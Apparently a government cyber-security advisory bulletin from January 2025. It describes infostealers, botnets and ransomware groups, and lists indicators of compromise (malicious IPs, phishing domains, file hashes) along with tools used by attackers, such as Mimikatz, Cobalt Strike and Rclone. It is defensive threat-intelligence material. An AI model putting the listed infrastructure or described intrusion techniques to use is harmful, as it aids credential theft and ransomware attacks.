**Cyber Security Advisories**

**Date: 31 January 2025**

1. **TA-MAW-2025-01-15-016**

Raccoon Stealer, an information-stealing malware steals data from applications, including login credentials, credit card information, browsing history, cookies, and cryptocurrency wallet accounts.

**Impacts:**

* Information Stealer: Primarily used for stealing sensitive information, such as login credentials, cryptocurrency wallets, and browser-stored data.
* Modular Malware: Capable of adapting its functionalities and payloads, making it highly versatile.
* Dark Web Sales: Data stolen by Raccoon is often sold on the dark web, leading to identity theft and financial fraud.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

185.244.48.191

146.19.173.87

88.119.161.19

176.124.218.249

88.119.171.79

178.20.47.114

77.91.77.96

94.228.166.19

5.252.21.236

62.113.112.27

65.109.175.35

39.106.247.148

88.119.161.188

94.103.88.64

103.251.237.123

188.215.229.203

142.132.225.253

147.45.44.25

91.103.252.193

91.103.252.65

193.233.132.231

45.133.216.170

62.113.119.179

45.143.223.133

77.75.230.93

8.219.4.230

94.131.97.157

45.8.144.187

178.20.41.15

149.154.67.234

5.42.67.16

188.119.112.93

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Browser Hardening: Use browser settings that disable storing credentials and autofill data.
* Monitoring Dark Web Activity: Organizations can monitor if their data appears in known dark web marketplaces.
* Regular Password Changes: Encourage frequent password updates to reduce the risk of long-term credential exposure.

1. **TA-MAW-2025-01-15-017**

Emotet is an advanced, modular banking Trojan that primarily functions as a downloader or dropper of other banking Trojans.

**Impacts:**

* Modular Banking Trojan: Initially designed to steal banking credentials, Emotet evolved into a highly modular botnet used to deliver other malware, including ransomware.
* Email Thread Hijacking: Emotet hijacks ongoing email conversations, making phishing emails appear more legitimate to recipients.
* Spreading Capabilities: Emotet can self-propagate through network shares and brute-force weak passwords.
* Ransomware Deployment: Often serves as a precursor to ransomware like Ryuk or Conti, deploying secondary payloads after infecting systems.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

103.253.75.46

193.53.245.52

50.35.17.13

64.227.166.13

202.79.24.136

184.180.181.202

185.183.16.47

197.232.36.108

134.209.144.106

115.79.195.246

89.25.223.211

139.59.67.118

81.213.175.132

51.38.124.206

77.74.78.80

104.131.123.136

173.249.6.108

86.98.143.163

159.65.6.6

82.137.29.8

161.0.153.60

5.196.108.185

154.127.113.242

51.15.7.145

181.80.129.181

216.117.129.6

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-15-018**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs..

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

107.150.62.186

154.216.16.103

154.216.19.169

154.216.17.34

89.213.158.208

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-15-009**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

ail-govs.icu

email.gov.in.ministryofdefenceindia.link

www.email.gov.in.ministryofdefenceindia.link

ministryofdefenceindia.link

\*.ministryofdefenceindia.link

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-15-019**

Amadey malware, a Trojan bot, is primarily used by threat actors for collecting information on a victim's environment, though it can also deliver other malware.

**Impacts:**

* Botnet Activity: Amadey is a botnet malware used for data collection and launching additional payloads, including other malware.
* Credential Theft and Surveillance: Capable of collecting system information and stealing credentials from browsers.
* Ransomware Deployment: Often used as an entry point to deploy ransomware.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

45.9.74.141

45.9.74.164

45.9.74.166

45.9.74.182

77.105.160.21

162.55.199.142

178.62.201.34

185.11.61.121

185.172.128.63

185.196.8.176

185.208.158.116

185.208.158.96

185.215.113.16

185.215.113.209

185.215.113.36

185.215.113.43

185.53.178.51

188.114.96.6

188.114.97.6

188.40.141.211

188.40.187.155

193.233.20.14

193.3.19.154

197.251.236.226

31.41.244.146

45.15.156.208

45.56.230.44

45.77.249.79

5.42.66.32

5.42.67.14

5.75.139.35

5.79.71.205

62.182.156.153

62.60.226.15

77.73.133.72

77.73.134.66

77.91.68.62

77.91.68.63

78.46.242.112

79.137.192.15

79.137.203.59

80.76.42.67

89.110.69.103

89.163.249.231

89.208.107.49

89.23.103.42

94.156.177.33

94.232.249.157

94.250.250.71

138.201.203.107

185.81.68.147

185.81.68.148

185.232.14.78

31.41.244.10

46.173.214.183

188.114.96.0

193.42.32.29

193.106.191.184

185.11.61.104

193.106.191.185

193.106.191.201

78.47.9.120

85.17.31.122

45.15.156.169

185.196.10.34

85.17.31.82

5.42.65.1

79.98.25.1

176.113.115.139

178.88.168.55

5.79.71.225

92.113.68.44

77.91.78.118

5.42.66.0

85.118.98.225

91.151.136.100

77.91.68.18

62.204.41.252

95.101.193.200

188.42.224.102

91.151.136.144

91.151.136.252

212.162.57.144

80.66.75.11

91.151.136.204

91.151.136.220

91.151.137.8

104.79.38.8

109.206.161.43

157.230.122.233

185.147.125.147

185.183.35.23

185.232.14.223

185.38.109.109

188.246.228.115

209.250.227.192

212.93.103.235

212.93.111.241

213.36.253.2

217.175.24.118

23.55.51.171

35.234.77.182

37.243.69.72

43.240.239.73

45.93.20.135

77.77.68.124

82.192.82.226

83.217.70.126

84.103.237.61

85.249.168.74

91.113.171.6

91.151.136.102

91.151.136.104

91.151.136.158

91.151.136.159

91.151.136.160

91.151.136.168

91.151.136.173

91.151.136.179

91.151.136.184

91.151.136.203

91.151.136.232

91.151.136.240

91.151.136.78

91.151.137.2

91.151.137.35

91.151.138.147

91.184.121.10

91.220.113.239

93.158.134.90

185.196.8.126

89.35.131.209

193.124.185.114

34.246.200.160

91.202.233.180

185.172.128.100

45.15.156.216

104.97.15.165

45.159.189.140

159.100.251.128

78.153.144.60

185.215.113.38

91.203.4.45

23.3.109.48

91.151.136.128

188.114.96.9

54.251.113.207

147.45.47.155

91.151.137.42

49.12.117.51

194.39.65.28

103.21.25.245

91.151.136.136

185.196.10.188

103.241.48.46

104.124.54.145

130.193.51.109

151.234.167.4

151.234.196.57

153.92.203.121

165.231.2.187

178.134.211.72

185.211.86.67

185.215.113.205

185.215.113.217

185.22.66.15

185.22.66.16

185.242.250.251

185.81.129.98

188.122.125.53

204.18.117.61

204.18.24.201

212.114.128.66

213.202.229.103

213.238.176.93

23.200.13.65

23.200.13.67

37.255.100.77

37.48.65.152

37.48.65.155

46.48.94.246

5.114.130.210

5.114.177.216

5.122.52.35

5.250.82.42

5.250.86.168

5.250.87.203

80.210.202.162

82.98.170.50

91.151.136.111

91.151.136.125

91.151.136.143

91.151.136.161

91.151.136.171

91.151.136.212

91.151.136.91

91.151.137.15

91.151.137.23

91.151.137.38

91.151.137.57

92.205.15.171

92.205.20.191

212.32.237.90

94.131.102.113

92.205.57.102

62.204.41.145

91.199.27.139

92.205.48.200

79.137.192.18

37.48.94.74

194.105.56.41

139.185.34.131

212.32.237.101

158.58.12.202

169.197.100.20

185.106.92.127

185.114.247.54

185.115.78.239

185.204.181.34

185.209.162.226

188.213.180.195

188.68.47.60

193.188.135.22

194.247.187.181

194.99.110.214

195.234.5.202

2.191.59.103

2.57.217.119

204.18.167.9

208.82.75.19

212.204.75.54

212.93.112.52

212.93.113.186

212.93.117.130

212.93.121.214

31.184.197.244

31.214.178.109

37.255.76.6

45.9.191.182

5.125.12.83

5.209.136.51

5.209.170.33

5.209.192.33

5.209.99.132

5.210.189.255

5.213.217.24

5.213.224.250

5.214.151.216

5.214.207.143

5.22.28.86

5.239.173.157

5.255.125.140

5.52.128.194

5.57.226.202

78.24.220.111

80.90.18.102

84.53.133.249

86.55.76.122

87.249.38.126

89.33.96.78

89.40.243.56

91.151.136.189

91.151.138.183

91.212.166.67

93.186.137.168

95.181.182.182

95.211.227.207

185.172.128.5

212.32.237.91

151.236.102.251

212.27.63.112

5.44.111.112

193.42.33.74

118.193.34.185

89.37.121.88

185.56.218.10

87.230.98.78

89.252.163.94

91.151.136.142

109.239.54.153

120.60.22.96

164.215.198.21

185.5.82.66

194.146.59.71

194.163.38.170

2.189.243.232

202.45.144.21

213.158.90.44

31.192.20.100

34.79.105.147

37.157.197.121

43.159.20.120

46.21.97.151

5.113.154.163

5.119.208.181

5.213.146.183

5.22.57.112

5.250.97.198

5.53.55.200

5.75.55.17

8.222.233.183

83.122.20.165

89.248.161.167

89.47.198.209

91.151.136.131

91.151.137.48

92.54.203.4

95.163.118.168

95.211.219.65

95.25.198.122

185.66.142.35

195.123.210.178

37.230.117.113

46.173.214.218

109.106.253.13

156.67.214.130

185.215.113.17

188.225.10.62

193.17.199.27

194.36.124.45

202.61.232.70

23.61.0.215

34.154.31.121

35.198.131.110

37.232.98.169

37.48.65.154

5.113.131.134

5.214.104.252

5.250.203.133

5.62.252.188

58.65.179.22

82.138.56.234

85.118.117.33

85.249.167.138

89.108.86.20

91.151.136.115

91.151.136.124

91.151.136.233

91.151.137.52

92.205.0.58

92.38.128.246

93.174.125.153

95.181.226.152

95.211.228.155

95.25.55.45

95.25.6.34

95.38.60.9

212.32.237.92

36.86.63.182

46.173.214.213

128.140.224.132

149.126.4.66

149.126.4.83

185.147.125.145

185.166.104.95

185.51.188.47

188.130.251.30

192.9.180.162

195.170.63.162

23.34.46.187

31.184.217.23

37.243.8.239

46.163.119.242

5.209.120.48

5.23.54.22

5.233.244.219

5.250.106.35

5.74.179.183

78.140.140.243

80.82.78.114

81.171.8.143

91.151.136.103

91.151.136.105

91.151.136.120

91.151.136.200

91.151.136.214

91.151.136.234

91.151.136.89

91.151.136.92

91.151.137.13

91.151.137.22

91.242.19.216

91.37.212.64

92.204.239.213

92.204.58.28

92.63.104.16

93.170.52.17

95.154.242.80

109.237.138.42

130.193.55.158

146.66.155.5

158.58.15.31

158.58.66.204

178.209.115.167

185.176.189.102

185.205.186.49

185.215.113.25

185.216.143.86

185.87.148.190

188.121.110.182

188.229.76.164

188.245.229.107

195.252.110.134

2.147.237.79

31.14.14.191

31.177.76.32

37.221.194.125

37.243.207.55

37.243.238.124

37.27.14.218

5.123.120.241

5.123.83.165

5.209.88.8

5.210.154.147

62.219.67.159

81.27.251.50

83.167.24.2

87.236.102.210

89.108.120.215

89.221.218.19

89.42.218.250

91.151.130.78

91.151.136.116

91.151.136.170

91.151.136.193

91.151.136.199

91.151.136.210

91.151.137.16

91.151.137.55

93.110.127.193

93.119.92.51

94.101.182.2

95.162.241.142

194.87.102.61

188.114.97.0

51.250.126.210

92.53.96.102

139.45.197.119

178.162.170.131

72.246.28.100

141.98.9.201

178.162.132.113

81.19.89.16

104.108.145.136

185.149.40.213

188.164.195.42

195.252.110.165

34.242.73.233

34.91.251.221

45.92.156.177

78.41.204.29

89.108.118.65

89.108.94.98

89.163.152.111

89.163.210.240

93.158.210.46

93.186.201.118

95.163.98.240

81.246.65.148

104.121.145.3

109.239.56.200

94.247.135.60

194.59.167.224

139.45.197.15

139.45.197.105

139.45.197.116

139.45.197.121

139.45.197.122

141.98.9.203

86.111.241.251

62.213.66.135

81.19.83.40

109.95.212.121

141.8.193.61

147.45.48.96

185.26.122.11

185.79.236.160

45.141.56.116

31.41.244.158

185.215.113.9

31.214.178.16

185.176.43.50

152.89.198.124

35.198.88.107

80.69.67.6

2.56.90.84

213.202.223.112

86.107.198.184

88.116.203.166

185.176.43.106

88.86.116.142

92.205.3.88

178.77.108.29

185.97.115.26

5.45.87.105

85.17.9.164

185.240.248.69

109.172.113.122

188.120.245.195

185.215.113.66

38.132.119.166

213.202.223.111

43.240.239.82

141.138.168.119

78.135.114.63

37.114.32.204

37.48.65.143

23.34.45.202

139.45.197.250

139.45.197.251

185.176.43.39

212.204.112.241

46.36.222.191

5.104.108.23

77.74.178.17

81.19.89.17

84.234.98.183

91.220.207.116

80.123.152.172

23.200.13.148

5.175.14.17

5.175.26.196

23.3.109.41

80.237.133.199

91.250.65.240

92.204.221.63

92.205.13.101

92.205.209.38

185.79.156.51

185.166.104.3

95.211.160.134

109.106.240.161

46.242.128.49

89.108.90.34

92.63.100.60

185.4.65.168

195.209.42.123

217.25.34.238

212.146.85.35

37.220.86.117

185.216.143.121

188.68.47.9

217.69.254.102

5.10.248.145

88.214.28.7

88.214.28.211

185.7.214.51

194.163.35.203

41.115.3.196

46.232.181.187

103.171.90.217

81.19.89.18

109.106.254.113

178.162.140.132

185.118.190.160

185.126.219.16

185.210.144.149

212.57.118.242

217.21.72.194

23.40.113.49

31.47.255.204

35.200.202.118

37.9.13.129

47.57.233.126

5.181.216.144

80.83.116.64

81.19.83.42

89.108.84.26

93.92.100.86

95.100.73.207

77.91.77.82

81.171.6.66

103.145.50.126

178.172.161.124

178.250.12.15

185.104.248.144

185.216.143.48

194.15.46.77

212.77.100.137

31.14.220.15

31.41.244.11

35.234.65.96

45.92.178.114

5.35.247.12

80.69.164.230

81.19.83.41

82.103.139.33

82.200.204.13

83.217.80.31

91.232.155.81

92.204.68.19

31.177.80.32

37.243.35.232

46.21.101.120

92.205.175.169

93.12.27.42

128.199.114.207

185.21.152.91

185.210.147.132

185.244.51.134

212.204.112.234

213.159.7.249

34.91.99.250

35.234.76.210

37.230.112.146

37.243.43.30

5.198.130.8

85.115.25.218

86.105.14.12

89.107.184.2

91.193.180.124

92.205.64.128

92.53.96.41

77.91.68.52

103.186.208.163

188.114.97.7

62.140.250.154

77.91.124.20

154.216.17.4

194.58.112.165

46.173.214.37

5.182.39.138

89.108.108.16

176.53.146.188

80.245.171.70

83.150.215.94

91.92.144.116

109.95.212.54

3.126.205.164

5.252.229.24

88.217.171.167

109.206.161.114

185.176.43.35

31.177.80.70

152.89.235.20

193.124.185.53

212.39.90.61

35.198.85.242

35.233.77.94

37.48.65.153

46.163.119.134

82.103.129.71

82.192.82.227

82.79.165.52

92.204.58.67

92.60.224.35

93.115.28.104

95.211.218.10

87.238.164.232

212.15.168.69

23.34.32.139

5.104.105.148

35.198.184.5

62.128.24.24

89.107.186.22

92.204.239.180

92.205.48.195

92.205.58.141

92.205.145.64

92.205.178.72

134.119.225.197

103.106.2.243

84.33.192.223

195.210.46.48

81.171.28.45

95.211.222.118

139.45.197.106

139.45.197.107

86.111.240.167

185.135.90.85

89.41.38.22

46.173.214.237

91.217.9.244

92.53.96.174

212.46.196.134

109.106.253.146

152.89.234.15

5.57.227.251

91.201.60.22

185.117.88.231

193.10.166.38

77.74.178.23

176.105.232.182

5.101.2.252

77.91.124.1

89.163.210.241

188.209.214.83

31.204.159.244

185.216.143.122

23.34.32.199

151.236.71.248

154.216.18.77

176.53.96.78

178.250.9.178

185.146.84.86

185.216.143.82

185.242.116.106

185.41.68.197

188.225.46.129

193.105.32.185

193.146.5.15

193.238.27.35

193.24.237.217

194.163.42.80

213.189.208.22

23.2.13.201

3.248.33.252

37.48.65.150

5.134.5.184

5.45.76.212

77.36.149.86

82.192.82.228

84.53.172.48

85.17.4.234

89.42.218.209

89.46.7.229

91.203.110.222

91.225.219.118

92.205.168.25

92.205.168.27

92.63.97.198

136.243.106.238

193.143.1.5

89.249.18.14

195.141.66.190

104.87.211.224

23.34.35.157

34.159.238.10

109.237.134.6

109.237.140.10

130.226.161.34

130.59.31.251

134.119.249.12

159.253.19.119

164.138.222.99

178.236.137.206

185.73.193.119

195.211.239.254

195.245.112.20

195.80.169.2

212.27.63.104

23.34.44.98

37.202.3.139

5.101.114.138

5.175.14.129

77.244.243.49

80.85.141.74

82.98.171.58

83.220.173.53

89.219.33.51

91.134.38.117

91.199.25.52

91.227.16.11

147.45.47.35

62.1.46.51

45.84.1.183

103.234.116.174

139.45.197.114

141.98.9.202

163.172.30.144

178.217.97.215

185.217.99.236

185.71.67.208

194.14.254.138

217.21.190.142

3.126.57.221

31.220.121.183

35.198.141.149

5.45.124.68

5.45.82.49

51.159.19.127

51.250.126.250

51.250.74.162

62.146.104.29

77.221.130.2

77.87.195.43

78.128.76.240

82.98.169.75

89.184.92.67

91.204.46.247

92.205.213.10

92.205.232.231

92.205.239.100

92.53.96.108

141.98.9.20

79.137.203.19

185.45.112.70

104.108.145.236

129.232.217.83

141.44.46.52

185.216.143.63

188.225.40.162

194.135.231.42

194.163.35.221

37.46.112.100

78.41.204.27

86.111.242.129

91.201.52.210

92.205.52.180

92.205.6.179

92.53.96.29

95.142.40.100

95.163.114.204

185.196.8.37

79.96.222.35

103.97.91.4

104.121.145.167

104.121.145.208

104.86.44.97

104.87.225.85

129.159.22.4

178.218.216.42

178.255.45.196

185.117.132.1

185.194.237.150

185.253.212.22

185.71.67.17

194.88.154.189

195.181.166.177

195.190.28.230

2.23.13.10

213.227.143.4

217.19.237.54

217.21.72.19

23.34.32.138

23.34.46.198

37.243.18.74

46.31.193.48

5.175.14.230

5.255.103.21

5.255.68.245

51.250.80.146

62.204.41.87

62.210.16.61

62.77.158.60

79.124.16.230

82.98.157.127

85.142.116.250

85.25.141.41

86.104.73.213

89.161.175.161

91.220.207.117

91.226.30.3

92.205.30.124

93.125.99.62

95.211.197.140

103.163.138.56

104.79.39.37

164.138.212.80

185.114.245.123

185.173.104.194

185.32.57.56

188.164.194.34

191.96.207.97

194.190.152.209

23.34.42.29

23.62.61.24

37.228.94.132

37.230.159.101

5.35.96.131

5.44.111.124

5.45.116.223

5.45.125.181

51.252.133.55

51.252.244.93

80.113.1.11

82.202.165.4

84.53.172.33

84.53.172.9

92.205.4.124

93.158.223.21

95.101.193.91

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-15-002**

Reference is made to the earlier NCIIPC Advisory - Adv/2024/Jul/056 with subject RA WORLD RANSOMWARE dated 31 Jul 2024. The presence of RA World ransomware is observed in Indian CyberSpace.

RA World is a multistage ransomware family that primarily targets healthcare and financial sectors with multi-stage attacks and double extortion techniques. It first acquires access via compromised domain controllers and delivers their components to the SYSVOL sharing path of a machine Group Policy Object (GPO) to enable privilege escalation and ransomware delivery on victim systems. The malware employs anti-AV strategies and exploits GPO settings to allow PowerShell script execution.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

4866d6994c2f8b4dadfaabc2e2b81bd86c12f68fdf0da13d41d7b0e30bea0801

51da3acc6c7089bd0f1df9d9902e183db0d1342552404c3c1b898b168399b0bc

31ac190b45cc32c04c2415761c7f152153e16750516df0ce0761ca28300dd6a4

9479a5dc61284ccc3f063ebb38da9f63400d8b25d8bca8d04b1832f02fac24de

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-003**

Black Basta, a Ransomware as a Service (RaaS) variant, uses techniques such as phishing and exploiting known vulnerabilities. It employs a double-extortion model, both encrypting systems and exfiltrating data. For discovery and execution, Black Basta affiliates use tools such as SoftPerfect network scanner to conduct network scanning. Tools such as BITSAdmin and PsExec, along with Remote Desktop Protocol (RDP) are used for lateral movement. Some affiliates also use tools like Splashtop, Screen Connect, and Cobalt Strike beacons for remote access as well as for lateral movement.  Black Basta affiliates also use credential-scraping tools like Mimikatz for privilege escalation. It uses Rclone for data exfiltration.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**easthoolbook.com  
realsepnews.com  
gardeniasupplies.com  
uptemp.icu  
betternewams.com  
temp.sh **IPs:**185.235.137.87   
185.117.91.230   
89.150.57.46   
104.243.34.101  **Hashes**FB55CADCCADAF9A2531F096907534E5F39117953  
6e501c67af55452b201eb63f6c53ed7a963fa0bd  
a0d1a4f068ed3ed585e5cec6c787521b1c0d2d64  
3a277203cb4916eb1f55f867f0bd368476c613fb

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-004**

Black Hunt ransomware is distributed via email and web pages hosting pirated/cracked software, cracking tools, and (or) key generators. Emails used to deliver ransomware (or other malware) contain malicious links or attachments. The files used to distribute malware are malicious PDF documents, Microsoft Office documents, JavaScript files, archives, executables, and ISO files. The files downloaded from unreliable sources (e.g., P2P networks, third-party downloaders, free file hosting sites), fake software updating tools and Trojans are also used to distribute ransomware. In all cases, adversaries aim to trick users into downloading and executing ransomware (or Trojans used to distribute ransomware) by themselves.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

83.97.73.198

45.77.65.183

**Hashes:**

4dc86870e176ffc8ef501980c7eeee6815b4e85e045b68fe4d83c0fa8ba68b11

f9e332ffff5c6ef1bb6923663317adb55b5a9fb6a256d784e2f045c969a500dd

61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1

26d717e65101b0ccd5d491c406f76a216381410890508d3d154d5aa073698887

a96a0ba7998a6956c8073b6eff9306398cc03fb9866e4cabf0810a69bb2a43b2

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-005**

Lockbit 3.0 seeks initial access to target networks primarily through unpatched vulnerabilities, insider access, zero-day exploits etc. On establishing the initial access, it collects network information, and achieves primary goals such as stealing and encrypting data. LockBit attacks typically employ a double extortion tactic. While initiating an attack on the organisations, it has also been observed that attacker first gain the initial access by deploying first stage malware and later use Ransomware-as-a-Service (RaaS) to encrypt targeted system for ransom or permanent denial of the access of the targeted system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domain:**

send.exploit.in

**IPs:**

185.215.113.66

193.233.132.177

194.26.29.13

149.28.137.7

45.32.108.54

139.180.184.147

192.229.211.108

20.99.184.37

20.99.185.48

23.216.147.64

23.216.147.76

212.102.39.138

194.32.122.35

178.175.129.35

178.162.209.138

178.162.209.137

172.93.181.238

156.146.41.94

216.24.213.7

37.46.115.29

37.46.115.26

37.46.115.24

37.46.115.17

37.46.115.16

212.102.35.149

178.175.129.37

91.90.122.24

5.255.117.134

**Hash:**

88697a03dc8f97236bf689831dbe8674a6acfa09

**Files:**

/LBB.exe

/PSEXESVC.exe

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-006**

RansomEXX v2.0 ransomware group seeks initial access to target networks primarily through phishing emails, exploiting vulnerabilities in remote desktop protocols (RDP), and leveraging weaknesses in VPNs and other remote access services. Adversary for lateral movement, after initial access, group employs tools like Cobalt Strike, Mimikatz and other legitimate administrative tools to move laterally within a network. For privilege escalation, adversary is utilising known exploits and credential theft to gain higher privileges within the compromised environment. RansomEXX v2.0 uses strong encryption algorithms, such as RSA-2048 and AES-256, making file recovery without the decryption key virtually impossible.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hash:**

4be9186796c7b8a8dfa9d39984e982d38d293cd4 (Earlier issued via Adv/2024/Aug/005 dated 02 Aug 2024)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-008**

BianLian ransomware group gain initial access to networks by leveraging compromised Remote Desktop Protocol (RDP) credentials likely acquired from initial access brokers or via phishing. Adversaries target public-facing applications of both Windows and ESXi infrastructure, possibly leveraging the ProxyShell (CVE-2021-34473, CVE-2021-34523, and CVE- 2021-31207) exploit chain to gain initial access. Adversary implants a custom backdoor specific to each victim written in Go and install remote management and access software for persistence and Command and Control (C2). BianLian group actors may be using the reverse proxy tool Ngrok and/or a modified version of the open-source Rsocks utility. The group may have used external proxy Rsocks to establish SOCKS5 network tunnels from victim networks and to mask the destination of C2 traffic. BianLian group actors have exploited CVE-2022-37969, which affects Windows 10 and 11 systems, to escalate privileges. Adversaries use PowerShell and Windows Command Shell to disable antivirus tools , specifically Windows defender and Anti-Malware Scan Interface (AMSI).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

104.238.34.168

45.56.162.5

104.238.34.162

91.236.230.33

216.245.184.170

88.119.175.237

104.130.130.15

**Hashes:**

043663940fdd069bb5d9ec7285b2302cf738418ef91492ab44f422ea9c72f5fb

52b1aa91184fcd416aebe1119ce107916a16cd7e9e8367517c1f6b5d59361204

a2c0a28a23ebe117a56466846e4e671dc37ac641d342cf822fa4d87814baf8cf

90e1a134323a43f8daf983112dfeca7db4ff611f183cb04370618725c553575a

